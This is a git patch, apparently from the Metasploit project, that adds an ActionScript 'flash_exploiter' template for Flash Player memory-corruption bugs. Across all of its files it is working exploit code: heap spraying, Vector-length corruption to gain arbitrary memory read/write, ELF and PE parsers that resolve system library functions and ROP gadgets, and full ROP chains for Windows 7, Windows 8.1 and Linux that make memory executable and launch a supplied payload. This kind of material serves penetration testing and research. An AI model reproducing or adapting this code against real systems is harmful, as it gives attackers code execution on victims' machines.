From a87d4e5764d51cc1b3a8df1038cd9d4d93fd9c4e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 25 Jun 2015 13:52:57 -0500 Subject: [PATCH] Add flash_exploiter template --- external/source/flash_exploiter/Elf.as | 235 +++++++++++ external/source/flash_exploiter/Exploit.as | 48 +++ .../flash_exploiter/ExploitByteArray.as | 85 ++++ .../source/flash_exploiter/ExploitVector.as | 75 ++++ external/source/flash_exploiter/Exploiter.as | 399 ++++++++++++++++++ external/source/flash_exploiter/Logger.as | 32 ++ external/source/flash_exploiter/PE.as | 72 ++++ 7 files changed, 946 insertions(+) create mode 100644 external/source/flash_exploiter/Elf.as create mode 100755 external/source/flash_exploiter/Exploit.as create mode 100644 external/source/flash_exploiter/ExploitByteArray.as create mode 100644 external/source/flash_exploiter/ExploitVector.as create mode 100644 external/source/flash_exploiter/Exploiter.as create mode 100644 external/source/flash_exploiter/Logger.as create mode 100644 external/source/flash_exploiter/PE.as diff --git a/external/source/flash_exploiter/Elf.as b/external/source/flash_exploiter/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/flash_exploiter/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/flash_exploiter/Exploit.as b/external/source/flash_exploiter/Exploit.as new file mode 100755 index 0000000000..f0aa9102da --- /dev/null +++ b/external/source/flash_exploiter/Exploit.as @@ -0,0 +1,48 @@ +/* +Code to assist the creation of exploits for the trend of Flash vulnerabilities used in the wild along 2014/2015. + +It uses some ideas and code included on @hdarwin89 proof of concepts. + +* How to build: + 1. Download the AIRSDK, and use its compiler. + 2. Download the Flex SDK (4.6) + 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) + (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) + 4. Build with: mxmlc -o msf.swf Exploit.as + +*/ + +package +{ + import flash.display.Sprite + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var uv:Vector. + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + /* + The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger. + */ + + exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) + } + } +} diff --git a/external/source/flash_exploiter/ExploitByteArray.as b/external/source/flash_exploiter/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/flash_exploiter/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/flash_exploiter/ExploitVector.as b/external/source/flash_exploiter/ExploitVector.as new file mode 100644 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/flash_exploiter/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/flash_exploiter/Exploiter.as b/external/source/flash_exploiter/Exploiter.as new file mode 100644 index 0000000000..ecbf56fac5 --- /dev/null +++ b/external/source/flash_exploiter/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/flash_exploiter/Logger.as b/external/source/flash_exploiter/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/flash_exploiter/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/flash_exploiter/PE.as b/external/source/flash_exploiter/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/flash_exploiter/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +}